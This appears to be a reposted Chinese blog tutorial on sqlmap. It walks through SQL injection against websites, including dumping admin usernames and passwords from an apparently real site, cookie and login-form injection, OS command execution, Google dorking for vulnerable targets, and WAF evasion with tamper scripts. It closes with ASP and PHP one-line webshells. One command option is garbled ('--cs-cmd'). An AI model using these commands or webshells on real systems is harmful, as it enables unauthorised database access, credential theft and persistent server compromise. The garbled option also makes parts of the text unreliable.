sqlmap的使用方法 ——时光凉春衫薄

普通注入

Sqlmap -u “http://www.xxxxxx.com/xxxx/xxx/xxx.xxx?xx=xx” --dbs

找到一个sql的注入点 探测他的库名   access的直接探表名

 

Sqlmap -u “http://”http://www.xxxxxx.com/xxxx/xxx/xxx.xxx?xx=xx” -D 探测出来的库名 --tables

探测库名后探测表名

 

Sqlmap -u “http://”http://www.xxxxxx.com/xxxx/xxx/xxx.xxx?xx=xx” -D 探测出来的库名 -T 探测出来的表名 --columns

探测他的列名

 

sqlmap -u "http://www.riyuba.com/news/index.asp?cataid=241" --dump -T admin -C "user,pwd"

探他的数据

 

 

cookie注入

一般有验证的注入会导致我们的注入失败有些网站经常提示一些禁止填写update delete等的字样这个时候普通的sql就不好用了

这时候可以试试cookie注入

Sqlmap -u “http://www.xxx.xxx.xxx/xxx/xxx” --cookie “id=9” --dbs 

查库

Sqlmap -u “http://www.xxx.xxx.xxx/xxx/xxx” --cookie “id=9” --table --level 2

查表

Sqlmap -u “http://www.xxx.xxx.xxx/xxx/xxx” --cookie “id=9” --columns -T admin --level 2

查字段

Sqlmap -u “http://www.xxx.xxx.xxx/xxx/xxx” --cookie “id=9” --dump -T admin -C “username,passwd” --level 2

查内容

 

Post登录框注入

注入点 “http://www.xxx.xxx.xxx/xxx/xxx/login.xxx”

首先将这个登陆界面用burpsuite截下来保存成一个txt的文本,然后指定变量

./sqlmap.py -r 保存的txt文本 -p 指定的参数

或者自动搜索表单的形式

Sqlmap -u “http://www.xxx.xxx.xxx/xxx/xxx/login.xxx” --forms

Sqlmap -u “http://www.xxx.xxx.xxx/xxx/xxx/login.xxx” --data “tfusermane=1111&tfpasswd=1111”

上一行的userpass是指定的参数部分是要抓玩包看才知道的。

Sqlmap ——交互写shell及命令执行

Sqlmap -u “http://www.xxx.xxx.xxx/xxx/xxx/login.xxx” --cs-cmd=ifconfig

后面可能需要 填写什么样的环境php asp jsp 的选择   然后在填写一下根目录地址

 

伪静态注入

Sqlmap -u “http://www.xxx.xxx.xxx/xxx/xxx.html” --dbs

探测数据库

 

请求延时注入

Sqlmap -u “http://www.xxx.xxx.xxx/xxx/xxx.html”  --delay 1

后面的1表示的是隔一秒继续访问这个页面

Sqlmap -u “http://www.xxx.xxx.xxx/xxx/xxx.html”  --safe-freq 3

安全的频率3次每秒

 

Google的注入搜索

Sqlmap -g inurl:php? Id=

google的搜索引擎自动取匹配url php环境 后面有id=xxx的网站

 

绕过waf(利用脚本)注:不同的脚本针对的数据库也不同

Sqlmap -u “http://www.xxxxxx.com/xxxx/xxx/xxx.xxx?xx=xx” -v 3 --dbs --batch --tamper ‘space2morehash.py’

Space2hash.py             base64encode.py           charencode.py

这三个脚本是sqlmap自带的绕waf脚本各自的编码方式也不同

 .从目标URL开始爬取目标站点
参数:–crawl
Sqlmap可以从目标URL开始爬取目标站点并收集可能存在漏洞的URL。使用该参数还需要设置爬取深度,深度是相对于开始爬取的目标URL而言的。只有所有新链接都被递归地访问过后才算爬取结束。建议该参数与“–delay”配合使用。
下例的目标的MySQL:
  python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3

参数:–crawl-exclude

在此参数后跟一个正则表达式可以排除不想爬取的URL。若URL匹配正则,则不被爬取。如用“–crawl-exclude=logout”来排除所有含有字符串“logout”的URL

设置输出CSV文件中的分隔符

参数:–csv-del

当数据被输出到CSV文件(–dump-format=CSV)时,默认以“,”分隔,可以使用此参数指定分隔符。如:“–csv-del=”;””。

估计完成时间
参数:–eta
该参数用于显示估计的完成时间。下例是目标为Oracle的布尔型盲注:
sqlmap -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
部分输出如下:
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========>                                           ] 11/64
Then:
100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:
'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
如你所见,Sqlmap先计算查询输出的长度,然后估计完成时间,最后显示百分比进度条并统计已经接受的数据。

指定输出目录路径

参数:–output-dir

Sqlmap默认将会话文件和结果文件保存到某个子目录output中,可以使用此参数指定输出目录,如:“–output-dir=/tmp”。

升级Sqlmap
参数:–update
使用此参数可以升级Sqlmap,显然,需要能够连接互联网。万一执行失败,可以在Sqlmap安装目录中执行“git pull”来升级Sqlmap。在Windows中没有git命令可以使用SmartGit之类的git客户端。
实际上“–update”和“git pull”以同样的方式升级Sqlmap,都是从git仓库中获取最新源代码。
强烈建议在报告bug前先升级Sqlmap。

在成功检测到注入点时报警
参数:–alert
该参数用于在找到新的注入点时发出警报,后跟一个用于发出警报的命令,如:
sqlmap -r data.txt --alert "notify-send '找到漏洞了'"
部分输出如下:
  [18:59:36] [INFO] GET parameter 'couno' appears to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)' injectable (with --not-string="001")
  [18:59:36] [INFO] executing alerting shell command(s) ('notify-send '找到漏洞了'')
上例中用于发出警报的命令是Ubuntu中的notify-send命令

清除Sqlmap创建的临时表和自定义函数

参数:–cleanup

强烈推荐在测试结束后使用此参数清除Sqlmap创建的临时表和自定义函数,Sqlmap会尽可能地清除数据库管理系统和文件系统上的入侵痕迹

 

检查依赖

参数:–dependencies

Sqlmap的有些功能依赖第三方库,在用到时发现没有这些库会报错退出。使用此参数可以检查依赖的第三方库是否安装,如:

sqlmap --dependencies

使用HTTP参数污染

参数:–hpp

HTTP参数污染是绕过WAF/IPS/IDS的一种技术,详情见此处。这一技术针对ASP/IIS和ASP.NET/IIS平台尤其有效。如果怀疑目标受WAF/IPS/IDS保护,可以尝试用此参数进行绕过

彻底检测WAF/IPS/IDS
参数:–identify-waf
Sqlmap可以识别WAF/IPS/IDS以便用户进行针对性操作(如:添加“–tamper”)。目前Sqlmap支持检测30多种不同的WAF/IPS/IDS,如Airlock和Barracuda WAF等。检测WAF的脚本可以在安装目录的waf目录中找到。
下例的目标是MySQL,受ModSecurity WAF保护:
sqlmap -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3
部分输出如下:
参数:–skip-waf
默认地Sqlmap会发送虚假的SQL注入playload以试探目标是否有保护措施。如有任何问题,用户可以使用参数“–skip-waf”来禁用这一技术

模仿智能手机

参数:–mobile

有些网站对智能手机和桌面环境的返回是不同的。当需要测试这种网站的智能手机页面时可以设置一个智能手机的User-Agent,或者更简单地,使用此参数,Sqlmap会在执行时询问要模仿成流行的手机中的哪种,如:

sqlmap -u "http://www.target.com/vuln.php?id=1" --mobile

  which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
  [1] Apple iPhone 4s (default)
  [2] BlackBerry 9900
  [3] Google Nexus 7
  [4] HP iPAQ 6365
  [5] HTC Sensation
  [6] Nokia N97
  [7] Samsung Galaxy S
  > 1

为初学者准备的简单向导
参数:–wizard

Sqlmap特地为初学者准备了一个有着尽可能少问题的工作流的向导。用户输入目标后若一直按回车选择默认回答到工作流的最后也会得到一个正确的结果。如:

  werner@Yasser:~$ sqlmap --wizard
          ___
         __H__
   ___ ___["]_____ ___ ___  {1.1.10#stable}
  |_ -| . [)]     | .'| . |
  |___|_  ["]_|_|_|__,|  _|
        |_|V          |_|   http://sqlmap.org

  [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

  [*] starting at 20:39:41

  [20:39:41] [INFO] starting wizard interface
  Please enter full target URL (-u): http://192.168.56.102/login.php
  POST data (--data) [Enter for None]: username=001&password=003
  Injection difficulty (--level/--risk). Please choose:
  [1] Normal (default)
  [2] Medium
  [3] Hard
  > 1
  Enumeration (--banner/--current-user/etc). Please choose:
  [1] Basic (default)
  [2] Intermediate
  [3] All
  > 1

  sqlmap is running, please wait..

  sqlmap resumed the following injection point(s) from stored session:
  ---
  Parameter: username (POST)
      Type: boolean-based blind
      Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
      Payload: username=001%' OR NOT 2143=2143#&password=003

      Type: AND/OR time-based blind
      Title: MySQL >= 5.0.12 OR time-based blind (comment)
      Payload: username=001%' OR SLEEP(5)#&password=003
  ---
  web server operating system: Linux Ubuntu
  web application technology: Apache 2.4.7, PHP 5.5.9
  back-end DBMS operating system: Linux Ubuntu
  back-end DBMS: MySQL >= 5.0.12
  banner:    '5.5.50-0ubuntu0.14.04.1'
  current user:    'root@localhost'
  current database:    'DSSchool'
  current user is DBA:    True
  [*] shutting down at 20:40:07

cookie
参数:–cookie、–cookie-del、–drop-set-cookie和–load-cookies

有两种情况会用到这些参数:

要测试的页面只有在登录状态下才能访问,登录状态用cookie识别
想要检测是否存在cookie注入
当“–level”设置为2或更高时,Sqlmap会检测cookie是否存在注入漏洞,关于“–level”的更多信息见下文。

(1).“–cookie”和“–cookie-del”

在浏览器中登录目标网站后复制出维持登录状态的cookie,用参数“–cookie”来指定这些cookie,如:

sqlmap -u  "http://192.168.56.102:8080/user.php" --cookie "JSESSIONID=E5D6C8C81;NAME=werner;"
与POST参数不同,cookie默认的分隔符为“;”,想要指定cookie中的分隔符,使用参数“–cookie-del”。

(2).“–drop-set-cookie”

若HTTP响应头中有“Set-Cookie”,Sqlmap会自动设置“Set-Cookie”设置的cookie,并对这些cookie进行检测。若不想让Sqlmap这么做,添加参数“–drop-set-cookie”即可,这样,Sqlmap会忽略“Set-Cookie”。

 

asp一句话
<%execute(request("1"))%>

php一句话
<?php eval($_POST[1]);?>

 

原文地址:https://www.cnblogs.com/shiguangliangchunshanbo/p/8511595.html